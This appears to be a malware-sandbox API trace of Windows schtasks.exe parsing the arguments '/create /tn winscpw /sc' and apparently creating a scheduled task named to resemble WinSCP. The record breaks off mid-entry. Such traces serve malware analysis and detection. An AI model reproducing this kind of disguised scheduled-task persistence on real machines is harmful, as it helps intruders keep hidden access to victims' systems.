VerifyVersionInfoW (in: lpVersionInformation=0x17f240, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x17f240) returned 1 [0079.940] GetProcessHeap () returned 0x1d0000 [0079.940] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ebb10 [0079.940] lstrlenW (lpString="") returned 0 [0079.940] GetProcessHeap () returned 0x1d0000 [0079.940] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x2) returned 0x1ebb30 [0079.940] GetProcessHeap () returned 0x1d0000 [0079.940] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5a30 [0079.940] GetProcessHeap () returned 0x1d0000 [0079.940] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ebb50 [0079.940] GetProcessHeap () returned 0x1d0000 [0079.940] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5a60 [0079.940] GetProcessHeap () returned 0x1d0000 [0079.940] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5a90 [0079.941] GetProcessHeap () returned 0x1d0000 [0079.941] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5ac0 [0079.941] GetProcessHeap () returned 0x1d0000 [0079.941] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5af0 [0079.941] GetProcessHeap () returned 0x1d0000 [0079.941] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ebb70 [0079.941] GetProcessHeap () returned 0x1d0000 [0079.941] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5b20 [0079.941] GetProcessHeap () returned 0x1d0000 [0079.941] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5b50 [0079.941] GetProcessHeap () returned 0x1d0000 [0079.941] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5b80 [0079.941] GetProcessHeap () returned 0x1d0000 [0079.941] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5bb0 [0079.941] GetProcessHeap () returned 0x1d0000 [0079.941] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ebb90 [0079.941] GetProcessHeap () returned 0x1d0000 [0079.941] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5be0 [0079.941] GetProcessHeap () returned 0x1d0000 [0079.941] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5c10 [0079.941] GetProcessHeap () returned 0x1d0000 [0079.941] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5c40 [0079.941] GetProcessHeap () returned 0x1d0000 [0079.941] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5c70 [0079.941] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.942] SetLastError (dwErrCode=0x0) [0079.942] GetProcessHeap () returned 0x1d0000 [0079.942] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5ca0 [0079.942] GetProcessHeap () returned 0x1d0000 [0079.942] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5cd0 [0079.942] GetProcessHeap () returned 0x1d0000 [0079.942] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5d00 [0079.942] GetProcessHeap () returned 0x1d0000 [0079.942] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5d30 [0079.942] GetProcessHeap () returned 0x1d0000 [0079.942] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5d60 [0079.942] GetProcessHeap () returned 0x1d0000 [0079.942] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ebbb0 [0079.942] _memicmp (_Buf1=0x1ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.942] GetProcessHeap () returned 0x1d0000 [0079.942] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x208) returned 0x1ebd50 [0079.942] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ebd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0079.943] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0079.945] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0079.945] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0079.946] GetProcessHeap () returned 0x1d0000 [0079.946] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x74e) returned 0x1ec320 [0079.946] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0079.946] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1ec320 | out: lpData=0x1ec320) returned 1 [0079.947] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0079.947] VerQueryValueW (in: pBlock=0x1ec320, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x17f328, puLen=0x17f390 | out: lplpBuffer=0x17f328*=0x1ec6bc, puLen=0x17f390) returned 1 [0079.949] _memicmp (_Buf1=0x1ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.949] _vsnwprintf (in: _Buffer=0x1ebd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x17f308 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0079.949] VerQueryValueW (in: pBlock=0x1ec320, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x17f398, puLen=0x17f388 | out: lplpBuffer=0x17f398*=0x1ec4e8, puLen=0x17f388) returned 1 [0079.949] lstrlenW (lpString="schtasks.exe") returned 12 [0079.949] lstrlenW (lpString="schtasks.exe") returned 12 [0079.949] lstrlenW (lpString=".EXE") returned 4 [0079.950] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0079.951] lstrlenW (lpString="schtasks.exe") returned 12 [0079.951] lstrlenW (lpString=".EXE") returned 4 [0079.951] _memicmp (_Buf1=0x1ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.951] lstrlenW (lpString="schtasks") returned 8 [0079.951] GetProcessHeap () returned 0x1d0000 [0079.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5e50 [0079.951] GetProcessHeap () returned 0x1d0000 [0079.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecc30 [0079.951] GetProcessHeap () returned 0x1d0000 [0079.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecc60 [0079.951] GetProcessHeap () returned 0x1d0000 [0079.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecc90 [0079.951] GetProcessHeap () returned 0x1d0000 [0079.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ebbd0 [0079.951] _memicmp (_Buf1=0x1ebbd0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.952] GetProcessHeap () returned 0x1d0000 [0079.952] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xa0) returned 0x1ec150 [0079.952] GetProcessHeap () returned 0x1d0000 [0079.952] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1eccc0 [0079.952] GetProcessHeap () returned 0x1d0000 [0079.952] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1eccf0 [0079.952] GetProcessHeap () returned 0x1d0000 [0079.952] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecd20 [0079.952] GetProcessHeap () returned 0x1d0000 [0079.952] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ebbf0 [0079.952] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.952] GetProcessHeap () returned 0x1d0000 [0079.952] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x200) returned 0x1ed400 [0079.952] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0079.952] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0079.952] GetProcessHeap () returned 0x1d0000 [0079.952] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x30) returned 0x1e7bc0 [0079.952] _vsnwprintf (in: _Buffer=0x1ec150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x17f308 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0079.952] GetProcessHeap () returned 0x1d0000 [0079.952] GetProcessHeap () returned 0x1d0000 [0079.953] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec320) returned 1 [0079.953] GetProcessHeap () returned 0x1d0000 [0079.953] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec320) returned 0x74e [0079.954] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec320 | out: hHeap=0x1d0000) returned 1 [0079.954] SetLastError (dwErrCode=0x0) [0079.954] GetThreadLocale () returned 0x409 [0079.954] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.954] lstrlenW (lpString="?") returned 1 [0079.954] GetThreadLocale () returned 0x409 [0079.954] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.954] lstrlenW (lpString="create") returned 6 [0079.954] GetThreadLocale () returned 0x409 [0079.954] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.954] lstrlenW (lpString="delete") returned 6 [0079.954] GetThreadLocale () returned 0x409 [0079.954] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.954] lstrlenW (lpString="query") returned 5 [0079.954] GetThreadLocale () returned 0x409 [0079.954] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.954] lstrlenW (lpString="change") returned 6 [0079.955] GetThreadLocale () returned 0x409 [0079.955] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.955] lstrlenW (lpString="run") returned 3 [0079.955] GetThreadLocale () returned 0x409 [0079.955] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.955] lstrlenW (lpString="end") returned 3 [0079.955] GetThreadLocale () returned 0x409 [0079.955] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.955] lstrlenW (lpString="showsid") returned 7 [0079.955] GetThreadLocale () returned 0x409 [0079.955] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.955] SetLastError (dwErrCode=0x0) [0079.955] SetLastError (dwErrCode=0x0) [0079.955] lstrlenW (lpString="/create") returned 7 [0079.955] lstrlenW (lpString="-/") returned 2 [0079.955] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0079.955] lstrlenW (lpString="?") returned 1 [0079.955] lstrlenW (lpString="?") returned 1 [0079.955] GetProcessHeap () returned 0x1d0000 [0079.955] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ec200 [0079.955] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.955] GetProcessHeap () returned 0x1d0000 [0079.955] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xa) returned 0x1ec320 [0079.955] lstrlenW (lpString="create") returned 6 [0079.955] GetProcessHeap () returned 0x1d0000 [0079.955] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ec340 [0079.955] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.956] GetProcessHeap () returned 0x1d0000 [0079.956] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x14) returned 0x1ec360 [0079.956] _vsnwprintf (in: _Buffer=0x1ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|?|") returned 3 [0079.956] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|create|") returned 8 [0079.956] lstrlenW (lpString="|?|") returned 3 [0079.956] lstrlenW (lpString="|create|") returned 8 [0079.956] SetLastError (dwErrCode=0x490) [0079.956] lstrlenW (lpString="create") returned 6 [0079.956] lstrlenW (lpString="create") returned 6 [0079.956] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.956] GetProcessHeap () returned 0x1d0000 [0079.956] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec320) returned 1 [0079.956] GetProcessHeap () returned 0x1d0000 [0079.956] RtlReAllocateHeap (Heap=0x1d0000, Flags=0xc, Ptr=0x1ec320, Size=0x14) returned 0x1ec380 [0079.956] lstrlenW (lpString="create") returned 6 [0079.956] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.956] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|create|") returned 8 [0079.956] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|create|") returned 8 [0079.956] lstrlenW (lpString="|create|") returned 8 [0079.956] lstrlenW (lpString="|create|") returned 8 [0079.956] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0079.956] SetLastError (dwErrCode=0x0) [0079.956] SetLastError (dwErrCode=0x0) [0079.956] SetLastError (dwErrCode=0x0) [0079.956] lstrlenW (lpString="/tn") returned 3 [0079.957] lstrlenW (lpString="-/") returned 2 [0079.957] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0079.957] lstrlenW (lpString="?") returned 1 [0079.957] lstrlenW (lpString="?") returned 1 [0079.957] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.957] lstrlenW (lpString="tn") returned 2 [0079.957] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.957] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|?|") returned 3 [0079.957] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|tn|") returned 4 [0079.957] lstrlenW (lpString="|?|") returned 3 [0079.957] lstrlenW (lpString="|tn|") returned 4 [0079.957] SetLastError (dwErrCode=0x490) [0079.957] lstrlenW (lpString="create") returned 6 [0079.957] lstrlenW (lpString="create") returned 6 [0079.957] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.957] lstrlenW (lpString="tn") returned 2 [0079.957] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.957] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|create|") returned 8 [0079.957] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|tn|") returned 4 [0079.957] lstrlenW (lpString="|create|") returned 8 [0079.957] lstrlenW (lpString="|tn|") returned 4 [0079.957] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0079.957] SetLastError (dwErrCode=0x490) [0079.957] lstrlenW (lpString="delete") returned 6 [0079.958] lstrlenW (lpString="delete") returned 6 [0079.958] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.958] lstrlenW (lpString="tn") returned 2 [0079.958] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.958] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|delete|") returned 8 [0079.958] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|tn|") returned 4 [0079.958] lstrlenW (lpString="|delete|") returned 8 [0079.958] lstrlenW (lpString="|tn|") returned 4 [0079.958] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0079.958] SetLastError (dwErrCode=0x490) [0079.958] lstrlenW (lpString="query") returned 5 [0079.958] lstrlenW (lpString="query") returned 5 [0079.958] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.958] lstrlenW (lpString="tn") returned 2 [0079.958] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.958] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|query|") returned 7 [0079.958] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|tn|") returned 4 [0079.958] lstrlenW (lpString="|query|") returned 7 [0079.958] lstrlenW (lpString="|tn|") returned 4 [0079.958] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0079.958] SetLastError (dwErrCode=0x490) [0079.958] lstrlenW (lpString="change") returned 6 [0079.958] lstrlenW (lpString="change") returned 6 [0079.959] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.959] lstrlenW (lpString="tn") returned 2 [0079.959] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.959] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|change|") returned 8 [0079.959] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|tn|") returned 4 [0079.959] lstrlenW (lpString="|change|") returned 8 [0079.959] lstrlenW (lpString="|tn|") returned 4 [0079.959] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0079.959] SetLastError (dwErrCode=0x490) [0079.959] lstrlenW (lpString="run") returned 3 [0079.959] lstrlenW (lpString="run") returned 3 [0079.959] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.959] lstrlenW (lpString="tn") returned 2 [0079.959] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.959] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|run|") returned 5 [0079.959] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|tn|") returned 4 [0079.959] lstrlenW (lpString="|run|") returned 5 [0079.959] lstrlenW (lpString="|tn|") returned 4 [0079.959] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0079.959] SetLastError (dwErrCode=0x490) [0079.959] lstrlenW (lpString="end") returned 3 [0079.959] lstrlenW (lpString="end") returned 3 [0079.959] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.959] lstrlenW (lpString="tn") returned 2 [0079.960] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.960] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|end|") returned 5 [0079.960] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|tn|") returned 4 [0079.960] lstrlenW (lpString="|end|") returned 5 [0079.960] lstrlenW (lpString="|tn|") returned 4 [0079.960] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0079.960] SetLastError (dwErrCode=0x490) [0079.960] lstrlenW (lpString="showsid") returned 7 [0079.960] lstrlenW (lpString="showsid") returned 7 [0079.960] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.960] GetProcessHeap () returned 0x1d0000 [0079.960] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec380) returned 1 [0079.960] GetProcessHeap () returned 0x1d0000 [0079.960] RtlReAllocateHeap (Heap=0x1d0000, Flags=0xc, Ptr=0x1ec380, Size=0x16) returned 0x1ec380 [0079.960] lstrlenW (lpString="tn") returned 2 [0079.960] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.960] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|showsid|") returned 9 [0079.960] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|tn|") returned 4 [0079.960] lstrlenW (lpString="|showsid|") returned 9 [0079.960] lstrlenW (lpString="|tn|") returned 4 [0079.960] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0079.960] SetLastError (dwErrCode=0x490) [0079.961] SetLastError (dwErrCode=0x490) [0079.961] SetLastError (dwErrCode=0x0) [0079.961] lstrlenW (lpString="/tn") returned 3 [0079.961] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0079.961] SetLastError (dwErrCode=0x490) [0079.961] SetLastError (dwErrCode=0x0) [0079.961] lstrlenW (lpString="/tn") returned 3 [0079.961] GetProcessHeap () returned 0x1d0000 [0079.961] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x8) returned 0x1ec320 [0079.961] GetProcessHeap () returned 0x1d0000 [0079.961] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecd50 [0079.961] SetLastError (dwErrCode=0x0) [0079.961] SetLastError (dwErrCode=0x0) [0079.961] lstrlenW (lpString="winscpw") returned 7 [0079.961] lstrlenW (lpString="-/") returned 2 [0079.961] StrChrIW (lpStart="-/", wMatch=0x77) returned 0x0 [0079.961] SetLastError (dwErrCode=0x490) [0079.961] SetLastError (dwErrCode=0x490) [0079.961] SetLastError (dwErrCode=0x0) [0079.961] lstrlenW (lpString="winscpw") returned 7 [0079.961] StrChrIW (lpStart="winscpw", wMatch=0x3a) returned 0x0 [0079.961] SetLastError (dwErrCode=0x490) [0079.961] SetLastError (dwErrCode=0x0) [0079.961] lstrlenW (lpString="winscpw") returned 7 [0079.961] GetProcessHeap () returned 0x1d0000 [0079.961] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x10) returned 0x1ec3b0 [0079.961] GetProcessHeap () returned 0x1d0000 [0079.962] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecd80 [0079.962] SetLastError (dwErrCode=0x0) [0079.962] SetLastError (dwErrCode=0x0) [0079.962] lstrlenW (lpString="/sc") returned 3 [0079.962] lstrlenW (lpString="-/") returned 2 [0079.962] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0079.962] lstrlenW (lpString="?") returned 1 [0079.962] lstrlenW (lpString="?") returned 1 [0079.962] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.962] lstrlenW (lpString="sc") returned 2 [0079.962] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.962] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|?|") returned 3 [0079.962] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|sc|") returned 4 [0079.962] lstrlenW (lpString="|?|") returned 3 [0079.962] lstrlenW (lpString="|sc|") returned 4 [0079.962] SetLastError (dwErrCode=0x490) [0079.962] lstrlenW (lpString="create") returned 6 [0079.962] lstrlenW (lpString="create") returned 6 [0079.962] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.962] lstrlenW (lpString="sc") returned 2 [0079.962] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.962] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|create|") returned 8 [0079.962] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|sc|") returned 4 [0079.962] lstrlenW (lpString="|create|") returned 8 [0079.962] lstrlenW (lpString="|sc|") returned 4 [0079.963] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0079.963] SetLastError (dwErrCode=0x490) [0079.963] lstrlenW (lpString="delete") returned 6 [0079.963] lstrlenW (lpString="delete") returned 6 [0079.963] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.963] lstrlenW (lpString="sc") returned 2 [0079.963] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.963] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|delete|") returned 8 [0079.963] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|sc|") returned 4 [0079.963] lstrlenW (lpString="|delete|") returned 8 [0079.963] lstrlenW (lpString="|sc|") returned 4 [0079.963] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0079.963] SetLastError (dwErrCode=0x490) [0079.963] lstrlenW (lpString="query") returned 5 [0079.963] lstrlenW (lpString="query") returned 5 [0079.963] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.963] lstrlenW (lpString="sc") returned 2 [0079.963] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.963] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|query|") returned 7 [0079.963] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|sc|") returned 4 [0079.963] lstrlenW (lpString="|query|") returned 7 [0079.963] lstrlenW (lpString="|sc|") returned 4 [0079.963] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0079.963] SetLastError (dwErrCode=0x490) [0079.963] lstrlenW (lpString="change") returned 6 [0079.964] lstrlenW (lpString="change") returned 6 [0079.964] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.964] lstrlenW (lpString="sc") returned 2 [0079.964] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.964] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|change|") returned 8 [0079.964] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|sc|") returned 4 [0079.964] lstrlenW (lpString="|change|") returned 8 [0079.964] lstrlenW (lpString="|sc|") returned 4 [0079.964] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0079.964] SetLastError (dwErrCode=0x490) [0079.964] lstrlenW (lpString="run") returned 3 [0079.964] lstrlenW (lpString="run") returned 3 [0079.964] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.964] lstrlenW 